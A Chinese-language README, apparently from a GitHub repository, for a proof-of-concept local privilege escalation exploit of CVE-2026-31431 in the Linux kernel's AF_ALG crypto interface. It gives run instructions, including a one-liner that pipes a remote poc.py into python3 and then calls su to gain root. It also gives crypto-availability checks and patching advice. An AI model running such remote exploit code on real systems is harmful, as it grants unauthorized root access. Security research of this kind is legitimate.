针对 CVE-2026-31431 的教育性质概念验证,该漏洞也被称为 Copy Fail,是一个涉及 Linux 内核 AF_ALG / algif_aead 加密接口的本地权限提升漏洞。
[!WARNING] 本仓库仅用于教育、防御以及经授权的安全研究目的。
请不要在非您所有的系统上运行此代码,也不要在未获得明确书面许可的系统上运行。
未经授权的使用可能构成违法行为。
CVE-2026-31431 是一个影响 Linux 内核加密子系统的本地权限提升漏洞。
该漏洞涉及通过 AF_ALG 接口暴露的 AEAD 路径,可能允许本地非特权用户干扰与可读文件关联的页缓存数据,从而在易受攻击的系统上可能导致权限提升。
本仓库包含一个最小化的教育性质概念验证,适用于受控的实验室环境。
目标系统必须暴露所需的 AF_ALG AEAD 算法。
您可以通过以下命令进行检查:
grep -i "authencesn\|authenc" /proc/crypto
该 PoC 期望支持类似于以下算法的支持:
authencesn(hmac(sha256),cbc(aes))
如果该算法不可用,PoC 可能会失败并出现类似错误:
FileNotFoundError: [Errno 2] No such file or directory
这意味着系统上不存在所需的内核加密算法。
克隆仓库:
git clone https://github.com/Karim33z/CVE-2026-31431.git
cd CVE-2026-31431
运行 PoC:
python3 poc.py
或者直接运行:
curl -s https://raw.githubusercontent.com/Karim33z/CVE-2026-31431/refs/heads/main/poc.py | python3 && su
某些 Linux 系统使用 /bin/su 而不是 /usr/bin/su。您可以通过以下命令检查正确的路径:
which su
如有需要,请调整 poc.py 中的目标路径。
如果在绑定到 authencesn(hmac(sha256),cbc(aes)) 时出现 FileNotFoundError: [Errno 2] No such file or directory,则表示所需的内核算法不可用。
检查可用的加密算法:
cat /proc/crypto
或更具体地:
grep -i "authencesn\|authenc\|cbc(aes)\|sha256" /proc/crypto
如果 PoC 引用了 /usr/bin/su,但您的系统使用 /bin/su,请使用以下命令检查:
which su
然后相应地更新 poc.py 中的路径。
防御方应更新到其发行版供应商提供的已修补 Linux 内核版本。
更新内核后,请重启系统以确保修补后的内核已生效。
临时缓解措施可能包括根据环境和发行版限制对受影响内核加密功能的访问。
本项目仅用于以下目的:
作者不对因使用此代码而导致的滥用、损害或非法活动负责。
请仅在您拥有明确授权的系统上使用。
本项目采用 MIT 许可证授权。